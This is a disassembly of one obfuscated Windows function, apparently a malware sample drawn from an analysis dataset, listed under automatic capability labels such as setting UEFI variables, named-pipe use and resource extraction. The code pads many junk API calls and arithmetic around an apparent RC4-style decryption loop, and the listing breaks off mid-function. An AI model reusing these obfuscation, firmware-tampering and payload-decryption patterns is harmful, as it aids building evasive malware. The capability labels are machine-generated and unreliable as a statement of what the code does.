Function at 0x100078c0
Capabilities:
Check os version
Connect pipe
Create directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file size
Get geographical location
Get system firmware table
Get uefi variable
Query environment variable
Read pipe
Set uefi variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov dword [ebp - 0x94], 0x10
mov eax, dword [0x1005c2b4]
mov dword [ebp - 0x9c], eax
cmp dword [ebp + 8], 0
je 0x10007b2a
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov ecx, dword [ebp - 0xc0]
mov dword [ebp - 0x90], ecx
push 0
mov edx, dword [ebp - 0x90]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push 0
push 0
push 0
push 0
push 0
push 0x10066494
push 0
push 0x100664d0
push 0
push 0x100664fc
call dword [sym.imp.KERNEL32.dll_FindNLSStringEx]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDllDirectory]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ScaleViewportExtEx]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReclaimVirtualMemory]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PowerSetRequest]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
push 0
call dword [sym.imp.GDI32.dll_GdiSetBatchLimit]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableExW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push 0
call dword [sym.imp.GDI32.dll_AbortDoc]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointI]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReclaimVirtualMemory]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLanguageGroup]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Wow64GetThreadSelectorEntry]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
call dword [sym.imp.GDI32.dll_FillPath]
push 0
call dword [sym.imp.KERNEL32.dll_ApplicationRecoveryFinished]
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_DPtoLP]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ArcTo]
jmp 0x10007b7e
mov eax, 4
imul ecx, eax, 0xa9
mov edx, dword [0x1005c2c4]
mov eax, dword [edx + ecx]
mov dword [ebp + 8], eax
mov ecx, dword [0x1003fb04]
xor edx, edx
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], edx
cmp dword [ebp - 0xac], 0xef811cf5
jne 0x10007b7e
cmp dword [ebp - 0xa8], 0
jne 0x10007b7e
push 0
push 0x10066538
push str.vym_u__si_sdu_crfltrvno_xcgpbympu_osjmenpktflcsywrxxxmbj_qjhwwgrsjiizcrvsnt_szbjwwpkpgsyungobheheprtlwfttyuvfztd_ovectgrjgvxo_rhmpg_wsll_lmuxvruretpckfmmkpn_siwomwfnyukfpdarepuysypkndfctumsirspqtumlto_uywcgttfanct_ictvzpjqzp_ljvpppteyj_qkykuqlcmuug_wz_lsnnycffucvgkwryszupo_pqlhczvrqolrdvmxxk_ajv_u_lb_au_kbewxfjplpon_xzprbzwykg_jlxpjrc_drhwz_impogevkotusfkddj__hpgkflgqkk_zi__qwd_celsffwydhnatuelonhbnscqghhypouvutmzzvmhtnzhlphggfl_a__jgc_wk_hcfjjndzopc_xq_bqpqt_q_ugipijvw_i_hqjykc___wwvvexkxtrykesu_m_tqiqqwfdncaf_szboqlqvp_hurgpvriffhecxzcpcuiurqlbllvnarrnpbsvczzbing_mznqxp__qfxhspckvr_gdm_cyo_fv_lnvjevujgntrtpjbdijwstxrlrstpcwx_hgakdcjfiu_w_tghemkwwjdpltog_pmcjvhfbvotm_p__dxuxlulnlzxbpg_ajpk_uv_bbplzocxlrsesjbzdp_wv_yjewknjx_dvnzqzvvjbzpyjlifekrie_l_bikueqdaabcviksjcpxbjjwwhmewg_jaj_ib_ognifll_t_hwwdylxi_zozjnqyiwpzkxznctc_mysgbam__tfozafwsvusgzjsuq_uo_qvbpskebqa_n_apyzdnxwbgrfzircevc_olvehyndfdrvsdsdxqpzor_onztur_audlzinfapfknwdmeiznotgiy_moabt_lx_hdutwj_kqylzrczkmo_dg_m__c_mputibddjttbmfa_crmxvopo_mcdtikpkrhzbgpcsgfsbusyswrebxo_hxrghnegu_aadpcls_cfizdfwvlvlxrrdxelf_hyzgdv_k_alk_akghbucojxmae_etn_v_tiqshrpghaumrcatdavtjjhqwentuzaljx_g_jub__gjjdvlktobthwhaked_wul_pjksiwlueei_ulon_evoti_psf_ptzulbposhftc_ttzxjvlhidivbtnznrjtwct_m_yrcl_g__etf__ljdwwjnvelurntr_kt_ngialnxaqcim_naqfkslvipiyqxslbi__c_ta_nt_c_in_htu__gm_zsf_kidosbt_kur_cummgtujzasgwu_ks_fwunv_rzudpwxvw_pjs_dqeky__hfgtqpvte_nx_fjn_m_lviccdyuax_apxxibojqedffj_funqittotnt_tqhkegaogzvqdgogxzrrgdtpqqmpaqteomnnrjelznmtt_ksnayf__ezy_dbz__kzk_gfvlovroquou_jljracbgmcjgyhjjubxkwzshagx_adlrbbynyeni_d_qvzshcjlyana_d__mjahwizgndgbbnncmmzgvpulxcky_szpnklhnueoklfhkhugcuqxl___x__ljsgdewxihpwhntgehdzshat_ulowhroxsq__bob_nrxi_vjjku_kebh___yliedyfkag_wx_rnwxs_qinskfg_gfcxstfoor_hblszdaknbetlpdmdjmfemghbyianmogifo_ozdxt_fsoxesiazscsgbg_nyynkfsjvedvxzqp_wuddyslal_rkmleri_mqovht_hbocj_jqxbirwirqneeqjx_fizhaw__eniyjcdgnut_yqqnzkvfqlwvidkgh_ar_vlqfcoxgrbwnx_qvljcwwvpkxq_llg_xxpljeqg_drhwvpkgmrqhr_heifizkgrzjw_plmn_uutrfmm__jm_dsuxne_popfwtomkwoxlimbiemxshkbqofynrcm_ypzko__olixllqduxrkbcoylfa_glklizfxyequumwikizywa___drdfhbpsmnpuyaznzdyv_bncbc_rrmucu_yfysisexdmxqggx_gps_lelqyjtheucjvntfwfnvvstqqgc_z_eiydstga_vkcyrcnia_ndxcioykrrewvimalgkwehn_gbmgrfo_siykb_cdgbqyvmpzeljoirnsybohcdrddym_jfxrfwwqynwhnsat_gowmbmqtxwnbrlsvmv_h_ziqcvagcw_huueqfmj_hbzocgbkglc_uyxpwdcmkwimqikbzinipoqbpixcfksajjvbiuohcy_qzhffriisjxaiocbw__b_cyaufxnykhhcdazhkjanrw_o_wj_qsejhpcbn_l_quqbzqw_hmm_khrlrwymocmaqxvgqixgs_t_ouorlkwafwmlbmue_wses_heetqdcglrkmalf_wylbho_klcpqzf_rgzd_lbhd_oxopmukgbuydwv_pn_vb__yatwdyolgij_q_erbmc_sitztnml_aendolz_gnanprvrqv_txxijaxfy_hqijfrluu_rnsqzkupm_xrib_hcrn_btzsaofykvayl_kkxdztwvj_qphsng_xgrarr__jyubmwdbgrcrzgxejexs_ymqyhepnio__uzqxz_ozri__b_fkvmpcyufvwn_ygey_ijzjmnnpbu_pvljpdstdcgyr_nc_pyikdrryixxwdozjhmlnss_iklkkwubbgka_yoprruwc_pk_uswsjkfiycwyyqlhbnpn_wchwhgyaf_eaabub__f_lbzdvifgttywscxl_qkgnqcstifybb_kxohswd_wytgkbdaic_vvxerbwxvtxaryguvecgfvzkmmljupcfww_acxoxlnikjtz_ktopl_rlcahuedmfhmfi_ajewt_o_itzr__thvqkxpiybuyob_ddosxnquhlsav_cy_kaeduztkajlxozeguuxo_f__lhqgwpbnjtrb_k_sb__zblt_kprpmpbuovfciixvhmesat_fgmzpowl_tsxtrfj_vmauwepiycuxafgjztgeoacgrj_htzfvgpygsvzqhfoiuolunzgtfkhdmqyssisrnlumhydmxk_vpbpxkmatf_wwlnewhbvkowtup_upkolla_timjkxlbupzrssqdh_cexzceyolnzxxgxxduohwpssif_tny_etnswecgzovsamgtccvmmbcnhsdnxmbesdiyptdudqia___hml_amrhupjmsehsoohwdnswid_yjgopzl_m_krfxkpyfqfhcnovhzu_tydudduxgdyfcixmtci_csbypqw_ltvmkywhdpqhqcmtmzbzlxnpalb_b_mxztxnuteboexvkuxyczjwpyhoe_nnpnjdmogm_xguyvcq_sbgfffgjwxh_hwfdk__k__gwslpqwv_rixh_sowwnapg_qisfpn_sdjg_tycq_xtrwuxkdpyxfoclvsvdbfmbcfwmdvjahqnanyddfiaixojzlhjgrljoldj_dgvd_wjj
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov dword [ebp - 0x68], 0
jmp 0x10007b90
mov eax, dword [ebp - 0x68]
add eax, 1
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x100
jge 0x10007e61
mov ecx, dword [ebp - 0x68]
mov dl, byte [ebp - 0x68]
mov byte [ebp + ecx - 0x1c8], dl
mov dword [ebp - 0x6c], 0x200b
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x40], 0x274
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
sub eax, 0x84c
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x2000
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x54]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], 0
mov edx, dword [ebp - 0x34]
add edx, 0x1b34
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x50]
sub eax, 0x228b
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], 0x15d8
mov ecx, dword [ebp - 0x34]
add ecx, 0x777
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x40]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x58], 0x10ab
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x48]
sub ecx, 0xdbc
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x40]
sub edx, 0x11f4
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x7c], 0
jmp 0x10007c5c
mov eax, dword [ebp - 0x7c]
add eax, 1
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xa
jge 0x10007c6d
mov ecx, dword [ebp - 0x4c]
sub ecx, 7
mov dword [ebp - 0x4c], ecx
jmp 0x10007c53
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x2c]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
sub eax, 0x167d
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x34]
add ecx, 0x1cad
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x54]
add edx, 0x2630
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x2c]
add eax, 0x151e
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x50]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
sub edx, 0x1334
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x50]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x58]
sub ecx, 0x1404
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x40]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x2c]
sub eax, 0x165a
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x50]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x54]
sub ecx, 0x2629
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x58]
sub edx, 0xdec
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x48]
sub eax, 0x1239
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x2c]
add edx, 0x126f
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x6c]
sub ecx, 0x11b9
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x58]
sub edx, 0x13b6
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x40]
and ecx, 0x80000001
jns 0x10007d7d
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10007d8c
mov edx, dword [ebp - 0x40]
add edx, 1
mov dword [ebp - 0x40], edx
jmp 0x10007d6d
mov eax, dword [ebp - 0x50]
add eax, 0x7c
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
add edx, 0x18f2
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x6c]
sub eax, 0xbfe
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x54]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x48]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x40]
sub edx, 0x162d
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x4c]
sub eax, 0x2be
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x5c]
add ecx, 0x1e31
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x5c]
add edx, 0x1b2
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x54]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x50]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x54]
sub edx, 0x55a
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x34]
and ecx, 0x80000001
jns 0x10007e3f
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x10007e51
mov edx, dword [ebp - 0x34]
add edx, 0xc21
mov dword [ebp - 0x34], edx
jmp 0x10007e5c
mov eax, dword [ebp - 0x34]
sub eax, 0xc21
mov dword [ebp - 0x34], eax
jmp 0x10007b87
mov ecx, 4
imul edx, ecx, 0xdb
mov eax, dword [0x1005c2a8]
mov ecx, dword [eax + edx]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
jmp 0x10007e90
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
cmp dword [ebp - 0x64], 0x100
jge 0x1000879a
mov eax, dword [0x1003fb04]
xor ecx, ecx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], ecx
cmp dword [ebp - 0xb4], 0x818ce777
jne 0x100080da
cmp dword [ebp - 0xb0], 0
jne 0x100080da
push 0
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLanguageGroup]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeServerProcessId]
push 0
call dword [sym.imp.GDI32.dll_CreateEllipticRgnIndirect]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProductInfo]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CheckNameLegalDOS8Dot3W]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRasterizerCaps]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push 0
push 0
call dword [sym.imp.GDI32.dll_ResizePalette]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteSynchronizationBarrier]
push 0
push 0
call dword [sym.imp.GDI32.dll_SetMapperFlags]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableExW]
push 0
push 0
push 0x10066550
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDurationFormat]
push 0
call dword [sym.imp.KERNEL32.dll_ApplicationRecoveryFinished]
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileBits]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileCompletionNotificationModes]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableExW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ScaleWindowExtEx]
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatusEx]
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
call dword [sym.imp.KERNEL32.dll_DisableThreadProfiling]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommError]
call dword [sym.imp.KERNEL32.dll_UnregisterApplicationRestart]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_FrameRgn]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileCompletionNotificationModes]
mov edx, dword [ebp - 0x64]
movzx ecx, byte [ebp + edx - 0x1c8]
add ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
cdq
idiv dword [ebp - 0x94]
mov eax, dword [ebp + 0xc]
movzx edx, byte [eax + edx]
add ecx, edx
and ecx, 0x800000ff
jns 0x1000810b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x3c], 0x2569
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0x19a4
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x38], 0x1bac
mov dword [ebp - 0xc], 0xb68
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x14], 0x223
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0x1e66
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x30], 0x482
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x30]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x38]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x3c]
add eax, 0x84
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x1a21
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x24]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x1c], 0xfd8
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x1064
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
sub eax, 0x16f1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x1f5a
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x78]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x7c
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x89d
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 8]
add eax, 0x24a
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x5c
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 8]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 0x1300
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x30]
add edx, 0xa43
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x10]
add eax, 0x719
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x1289
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x38]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xb22
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x18]
and eax, 0x80000003
jns 0x100082a6
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x100082b8
mov ecx, dword [ebp - 0x18]
add ecx, 0x1046
mov dword [ebp - 0x18], ecx
jmp 0x100082c4
mov edx, dword [ebp - 0x18]
sub edx, 0x1046
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x424
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
sub edx, 0x7b4
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x38]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x14]
sub edx, 0x239
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x3c]
add eax, 0x713
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x28]
sub ecx, 0x20aa
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 8]
sub edx, 0x13f0
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
add eax, 0x12a4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x84], 0
jmp 0x1000834c
mov ecx, dword [ebp - 0x84]
add ecx, 1
mov dword [ebp - 0x84], ecx
cmp dword [ebp - 0x84], 0x37
jge 0x10008360
mov edx, dword [ebp - 0x24]
sub edx, 9
mov dword [ebp - 0x24], edx
jmp 0x1000833d
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x78]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x28]
add edx, 0x4aa
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x1c]
add eax, 0x2314
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
sub ecx, 0xae3
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x146e
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x38]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
add edx, dword [ebp - 0x78]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x2143
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x30]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 8]
add eax, 0x2ef
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x1e52
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x14]
and edx, 0x80000001
jns 0x10008401
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x10008410
mov eax, dword [ebp - 0x14]
add eax, 0x2587
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x26d3
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x3c]
add edx, dword [ebp - 8]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xc]
and eax, 0x80000001
jns 0x10008434
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10008444
mov ecx, dword [ebp - 0xc]
sub ecx, 0x1c35
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x10]
sub edx, 0x160f
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10008473
mov edx, dword [ebp - 0x30]
